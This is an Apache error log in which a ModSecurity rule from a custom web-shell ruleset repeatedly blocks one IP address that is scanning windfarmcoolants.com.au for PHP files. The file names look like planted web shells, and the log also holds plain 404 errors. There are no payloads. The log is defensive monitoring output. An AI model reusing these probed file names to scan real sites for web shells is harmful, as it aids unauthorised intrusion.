[Sat Apr 18 20:15:01.794859 2026] [:error] [pid 34237:tid 34250] [client 52.236.80.95:5857] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xbbih.php"] [unique_id "aeN1xRBmX4Wq5a6rxfanswAAAUs"]
[Sat Apr 18 20:15:02.466307 2026] [:error] [pid 9864:tid 9927] [client 52.236.80.95:5765] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xbbih.php"] [unique_id "aeN1xoCFeowknfXHM7kaPQAAAFU"]
[Sat Apr 18 20:15:03.195958 2026] [:error] [pid 9863:tid 9881] [client 52.236.80.95:6074] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xbbih.php"] [unique_id "aeN1xzjjiypiFrTucbLMsQAAAAg"]
[Sat Apr 18 20:15:03.958665 2026] [:error] [pid 34237:tid 34257] [client 52.236.80.95:5837] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xcakx.php"] [unique_id "aeN1xxBmX4Wq5a6rxfanzAAAAVI"]
[Sat Apr 18 20:15:04.575594 2026] [:error] [pid 34237:tid 34249] [client 52.236.80.95:5942] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xcakx.php"] [unique_id "aeN1yBBmX4Wq5a6rxfan3QAAAUo"]
[Sat Apr 18 20:15:05.180800 2026] [:error] [pid 9864:tid 9924] [client 52.236.80.95:5841] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xcakx.php"] [unique_id "aeN1yYCFeowknfXHM7kaYQAAAFI"]
[Sat Apr 18 20:15:06.263061 2026] [:error] [pid 9864:tid 9925] [client 52.236.80.95:5965] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xcakx.php"] [unique_id "aeN1yoCFeowknfXHM7kaYwAAAFM"]
[Sat Apr 18 20:15:06.936496 2026] [:error] [pid 34237:tid 34263] [client 52.236.80.95:5782] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xjgdw.php"] [unique_id "aeN1yhBmX4Wq5a6rxfan6gAAAVg"]
[Sat Apr 18 20:15:07.499654 2026] [:error] [pid 34237:tid 34255] [client 52.236.80.95:5910] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xjgdw.php"] [unique_id "aeN1yxBmX4Wq5a6rxfan7QAAAVA"]
[Sat Apr 18 20:15:08.677699 2026] [:error] [pid 34237:tid 34258] [client 52.236.80.95:5923] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xjgdw.php"] [unique_id "aeN1zBBmX4Wq5a6rxfan8gAAAVM"]
[Sat Apr 18 20:15:09.241794 2026] [:error] [pid 9864:tid 9920] [client 52.236.80.95:6016] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xjgdw.php"] [unique_id "aeN1zYCFeowknfXHM7kaagAAAE4"]
[Sat Apr 18 20:15:09.868103 2026] [:error] [pid 9970:tid 9989] [client 52.236.80.95:5874] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xopgt.php"] [unique_id "aeN1zSYdRLRhVmaIMx2zFAAAAM8"]
[Sat Apr 18 20:15:11.441559 2026] [:error] [pid 9864:tid 9920] [client 52.236.80.95:5871] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xopgt.php"] [unique_id "aeN1z4CFeowknfXHM7kabQAAAE4"]
[Sat Apr 18 20:15:29.885133 2026] [:error] [pid 34290:tid 34323] [client 52.236.80.95:5896] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xsjtz.php"] [unique_id "aeN14RqX6WpmmAXOBi8aXwAAAcQ"]
[Sat Apr 18 20:15:31.132751 2026] [:error] [pid 34237:tid 34243] [client 52.236.80.95:5928] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xsjtz.php"] [unique_id "aeN14xBmX4Wq5a6rxfaoawAAAUQ"]
[Sat Apr 18 20:15:32.056540 2026] [:error] [pid 9970:tid 9978] [client 52.236.80.95:5851] File does not exist: /usr/local/apache/htdocs/suspended-page/xsjtz.php
[Sat Apr 18 20:15:32.312649 2026] [:error] [pid 9970:tid 9990] [client 52.236.80.95:5851] File does not exist: /usr/local/apache/htdocs/suspended-page/zvinn.php
[Sat Apr 18 20:15:32.567734 2026] [:error] [pid 9970:tid 9994] [client 52.236.80.95:5851] File does not exist: /usr/local/apache/htdocs/suspended-page/balin.php
[Sat Apr 18 20:15:32.868116 2026] [:error] [pid 9970:tid 9974] [client 52.236.80.95:5851] File does not exist: /usr/local/apache/htdocs/suspended-page/0x19493QU8ZQ.php
[Sat Apr 18 20:15:33.121542 2026] [:error] [pid 9970:tid 9985] [client 52.236.80.95:5851] File does not exist: /usr/local/apache/htdocs/suspended-page/13ede.php
[Sat Apr 18 20:15:33.374561 2026] [:error] [pid 9970:tid 9993] [client 52.236.80.95:5851] File does not exist: /usr/local/apache/htdocs/suspended-page/akhvg.php
[Sat Apr 18 20:15:33.628410 2026] [:error] [pid 9970:tid 9995] [client 52.236.80.95:5851] File does not exist: /usr/local/apache/htdocs/suspended-page/assacc.php
[Sat Apr 18 20:15:33.941110 2026] [:error] [pid 9970:tid 9991] [client 52.236.80.95:5851] File does not exist: /usr/local/apache/htdocs/suspended-page/t00l.php
[Sat Apr 18 20:15:35.746130 2026] [:error] [pid 9970:tid 9991] [client 52.236.80.95:5851] File does not exist: /usr/local/apache/htdocs/suspended-page/xy.php
[Sat Apr 18 20:15:36.026694 2026] [:error] [pid 9970:tid 9977] [client 52.236.80.95:5851] File does not exist: /usr/local/apache/htdocs/suspended-page/atomlib.php
[Sat Apr 18 20:15:36.282583 2026] [:error] [pid 9970:tid 9997] [client 52.236.80.95:5851] File does not exist: /usr/local/apache/htdocs/suspended-page/fetch.php
[Sat Apr 18 20:15:36.639575 2026] [:error] [pid 9970:tid 9996] [client 52.236.80.95:5851] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jnhddqyz.php"] [unique_id "aeN16CYdRLRhVmaIMx2zLwAAANY"]
[Sat Apr 18 20:15:37.410074 2026] [:error] [pid 34288:tid 34296] [client 52.236.80.95:5850] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jnhddqyz.php"] [unique_id "aeN16eTIiy__PtiLmpnSnwAAAYQ"]
[Sat Apr 18 20:15:38.114271 2026] [:error] [pid 9864:tid 9917] [client 52.236.80.95:5865] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jnhddqyz.php"] [unique_id "aeN16oCFeowknfXHM7kahwAAAEs"]
[Sat Apr 18 20:15:38.802285 2026] [:error] [pid 13023:tid 13046] [client 52.236.80.95:5943] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jnhddqyz.php"] [unique_id "aeN16v1e7hG8DAeABB8FigAAARU"]
[Sat Apr 18 20:15:39.387889 2026] [:error] [pid 9970:tid 9989] [client 52.236.80.95:5853] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin_bkp.php"] [unique_id "aeN16yYdRLRhVmaIMx2zMQAAAM8"]
[Sat Apr 18 20:15:39.999077 2026] [:error] [pid 34290:tid 34337] [client 52.236.80.95:5763] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin_bkp.php"] [unique_id "aeN16xqX6WpmmAXOBi8ahgAAAdI"]
[Sat Apr 18 20:15:40.547536 2026] [:error] [pid 9864:tid 9907] [client 52.236.80.95:5828] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin_bkp.php"] [unique_id "aeN17ICFeowknfXHM7kaiwAAAEI"]
[Sat Apr 18 20:15:41.243357 2026] [:error] [pid 9864:tid 9919] [client 52.236.80.95:5999] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin_bkp.php"] [unique_id "aeN17YCFeowknfXHM7kajAAAAE0"]
[Sat Apr 18 20:15:41.763222 2026] [:error] [pid 34288:tid 34312] [client 52.236.80.95:5860] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/l10n.php"] [unique_id "aeN17eTIiy__PtiLmpnSowAAAZQ"]
[Sat Apr 18 20:15:42.355585 2026] [:error] [pid 9970:tid 9993] [client 52.236.80.95:6023] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/l10n.php"] [unique_id "aeN17iYdRLRhVmaIMx2zMgAAANM"]
[Sat Apr 18 20:15:42.912958 2026] [:error] [pid 9970:tid 9975] [client 52.236.80.95:5773] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/l10n.php"] [unique_id "aeN17iYdRLRhVmaIMx2zNQAAAME"]
[Sat Apr 18 20:15:43.442203 2026] [:error] [pid 9864:tid 9918] [client 52.236.80.95:6128] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/l10n.php"] [unique_id "aeN174CFeowknfXHM7kakwAAAEw"]
[Sat Apr 18 20:15:44.119603 2026] [:error] [pid 9865:tid 9961] [client 52.236.80.95:5921] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abpxrnwe.php"] [unique_id "aeN18Kzb5knECIY-C-iBkwAAAJg"]
[Sat Apr 18 20:15:44.729199 2026] [:error] [pid 9865:tid 9949] [client 52.236.80.95:5778] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abpxrnwe.php"] [unique_id "aeN18Kzb5knECIY-C-iBlAAAAIw"]
[Sat Apr 18 20:15:45.277250 2026] [:error] [pid 34237:tid 34246] [client 52.236.80.95:5829] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abpxrnwe.php"] [unique_id "aeN18RBmX4Wq5a6rxfaogQAAAUc"]
[Sat Apr 18 20:15:46.267309 2026] [:error] [pid 9865:tid 9950] [client 52.236.80.95:5832] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abpxrnwe.php"] [unique_id "aeN18qzb5knECIY-C-iBlwAAAI0"]
[Sat Apr 18 20:15:46.884440 2026] [:error] [pid 34237:tid 34259] [client 52.236.80.95:5873] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abalqdol.php"] [unique_id "aeN18hBmX4Wq5a6rxfaohAAAAVQ"]
[Sat Apr 18 20:15:47.482942 2026] [:error] [pid 34237:tid 34242] [client 52.236.80.95:5858] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abalqdol.php"] [unique_id "aeN18xBmX4Wq5a6rxfaohwAAAUM"]
[Sat Apr 18 20:15:48.332598 2026] [:error] [pid 34290:tid 34338] [client 52.236.80.95:5893] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abalqdol.php"] [unique_id "aeN19BqX6WpmmAXOBi8ajgAAAdM"]
[Sat Apr 18 20:15:49.011108 2026] [:error] [pid 34237:tid 34239] [client 52.236.80.95:6054] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abalqdol.php"] [unique_id "aeN19RBmX4Wq5a6rxfaoigAAAUA"]
[Sat Apr 18 20:15:49.558277 2026] [:error] [pid 34288:tid 34294] [client 52.236.80.95:5798] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aqotrjkg.php"] [unique_id "aeN19eTIiy__PtiLmpnSqAAAAYI"]
[Sat Apr 18 20:15:50.199664 2026] [:error] [pid 34237:tid 34241] [client 52.236.80.95:5950] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aqotrjkg.php"] [unique_id "aeN19hBmX4Wq5a6rxfaojwAAAUI"]
[Sat Apr 18 20:15:50.771950 2026] [:error] [pid 34290:tid 34327] [client 52.236.80.95:5941] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aqotrjkg.php"] [unique_id "aeN19hqX6WpmmAXOBi8alQAAAcg"]
[Sat Apr 18 20:15:51.487800 2026] [:error] [pid 34290:tid 34339] [client 52.236.80.95:5937] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aqotrjkg.php"] [unique_id "aeN19xqX6WpmmAXOBi8alwAAAdQ"]
[Sat Apr 18 20:15:52.036358 2026] [:error] [pid 13023:tid 13041] [client 52.236.80.95:5852] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bhigtouj.php"] [unique_id "aeN1-P1e7hG8DAeABB8FlgAAARA"]
[Sat Apr 18 20:15:52.579127 2026] [:error] [pid 34237:tid 34243] [client 52.236.80.95:5886] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bhigtouj.php"] [unique_id "aeN1-BBmX4Wq5a6rxfaokwAAAUQ"]
[Sat Apr 18 20:15:53.213075 2026] [:error] [pid 34237:tid 34262] [client 52.236.80.95:5919] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bhigtouj.php"] [unique_id "aeN1-RBmX4Wq5a6rxfaolQAAAVc"]
[Sat Apr 18 20:15:54.101885 2026] [:error] [pid 34288:tid 34315] [client 52.236.80.95:5866] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bhigtouj.php"] [unique_id "aeN1-uTIiy__PtiLmpnSrAAAAZc"]
[Sat Apr 18 20:15:54.692672 2026] [:error] [pid 34288:tid 34316] [client 52.236.80.95:5902] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bxhnfdgd.php"] [unique_id "aeN1-uTIiy__PtiLmpnSrwAAAZg"]
[Sat Apr 18 20:15:55.257163 2026] [:error] [pid 9863:tid 9891] [client 52.236.80.95:5934] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bxhnfdgd.php"] [unique_id "aeN1-zjjiypiFrTucbLMywAAABI"]
[Sat Apr 18 20:15:55.873245 2026] [:error] [pid 9970:tid 9984] [client 52.236.80.95:5787] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bxhnfdgd.php"] [unique_id "aeN1-yYdRLRhVmaIMx2zQgAAAMo"]
[Sat Apr 18 20:15:56.488826 2026] [:error] [pid 13023:tid 13043] [client 52.236.80.95:5930] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bxhnfdgd.php"] [unique_id "aeN1_P1e7hG8DAeABB8FlwAAARI"]
[Sat Apr 18 20:15:57.004724 2026] [:error] [pid 34288:tid 34292] [client 52.236.80.95:5933] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ccrheegr.php"] [unique_id "aeN1_eTIiy__PtiLmpnSswAAAYA"]
[Sat Apr 18 20:15:57.601781 2026] [:error] [pid 9970:tid 9978] [client 52.236.80.95:5833] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ccrheegr.php"] [unique_id "aeN1_SYdRLRhVmaIMx2zSQAAAMQ"]
[Sat Apr 18 20:15:58.190003 2026] [:error] [pid 34290:tid 34342] [client 52.236.80.95:5849] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ccrheegr.php"] [unique_id "aeN1_hqX6WpmmAXOBi8aowAAAdc"]
[Sat Apr 18 20:15:58.917332 2026] [:error] [pid 34290:tid 34322] [client 52.236.80.95:5777] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ccrheegr.php"] [unique_id "aeN1_hqX6WpmmAXOBi8apQAAAcM"]
